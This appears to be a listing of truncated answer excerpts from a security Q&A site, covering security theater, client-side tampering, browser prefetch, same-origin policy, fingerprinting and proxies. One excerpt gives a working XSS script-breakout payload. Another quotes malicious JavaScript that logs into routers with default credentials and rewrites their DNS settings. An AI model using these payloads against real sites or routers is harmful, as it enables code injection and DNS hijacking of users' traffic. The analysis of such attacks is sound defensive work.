This sounds like a bad case of Security Theater Security theater is the practice of investing in countermeasures intended to provide the feeling of improved security while doing little or nothing to actually achieve it. I say this because in all reality... Given enough time, effort, and computing power security is nothing more than a delay. Of ...
The bottom line is that you can't, but this is not as much of an issue as one might think. The thing to keep in mind is that when you change the source in a browser's debugger (which is what you're describing), it doesn't get saved anywhere. This means that the change only affects the machine the debugger is running on. I can't change the password field to ...
Pre-fetching as I understand it in Google Chrome performs things like DNS lookups and static content caching. In order to determine what static content to download, some parsing of the HTML document it pre-fetches must be conducted and it is known that browsers have been vulnerable to malicious HTML payloads in the past (Internet Explorer CSS and HTML ...
How about </script><script>alert('xss');</script><script>/* ? JS parser will find the close script, and assume the original code is malformed. HTML parser will see the open script and start a new script block. The rest is just to make the rest of the block ignored. Note that it doesn't contain any of the characters you're ...
It attempts to exploit your router using the most common default user/pass combos and change your DNS servers to another: var dnsprimario = "126.96.36.199"; var dnssecundario = "188.8.131.52"; document.write('<img src="hxxp://admin:firstname.lastname@example.org/dnscfg.cgi?dnsPrimary=' + dnsprimario + '&dnsSecondary=' + dnssecundario + ...
You could learn a lot of interesting information about the users system this way. This information could be used to find the correct exploit for the user, or just be collected or used as part of a system fingerprint to identify users (Even with another used browser). Detecting the OS would be extremely simple, but also the detection of used versions of ...
If you're really worried about this, you could do away with passwords entirely in your application. Have the user enter their username or email and send them an email with a temporary login link.
Same Origin Policy ensures that you cannot read or modify the content of a page with different origin. In case of the iframe this means that the parent frame can fully replace the iframe (and thus changing the origin) but it cannot read or modify the contents of the iframe has a different origin. Thus reading a cookie cross-origin from an iframe will only ...
If you include any third party script in your page, the authors could potentially read any data on the page. That applies to Google Maps, any third party library hosts, advertising providers... If the data is sufficiently high risk to be worried about Google stealing it, don't use any third party scripts.
When you use a proxy, the ability of the server to prove its identity to your browser is broken. You can override this by the "confirm security exception" dialogs in your browser. I'm sure everyone reading this has had to do this at some point. So, you in effect told your browser to accept the identity of the main site (for example ...
Only top voted, non community-wiki answers of a minimum length are eligible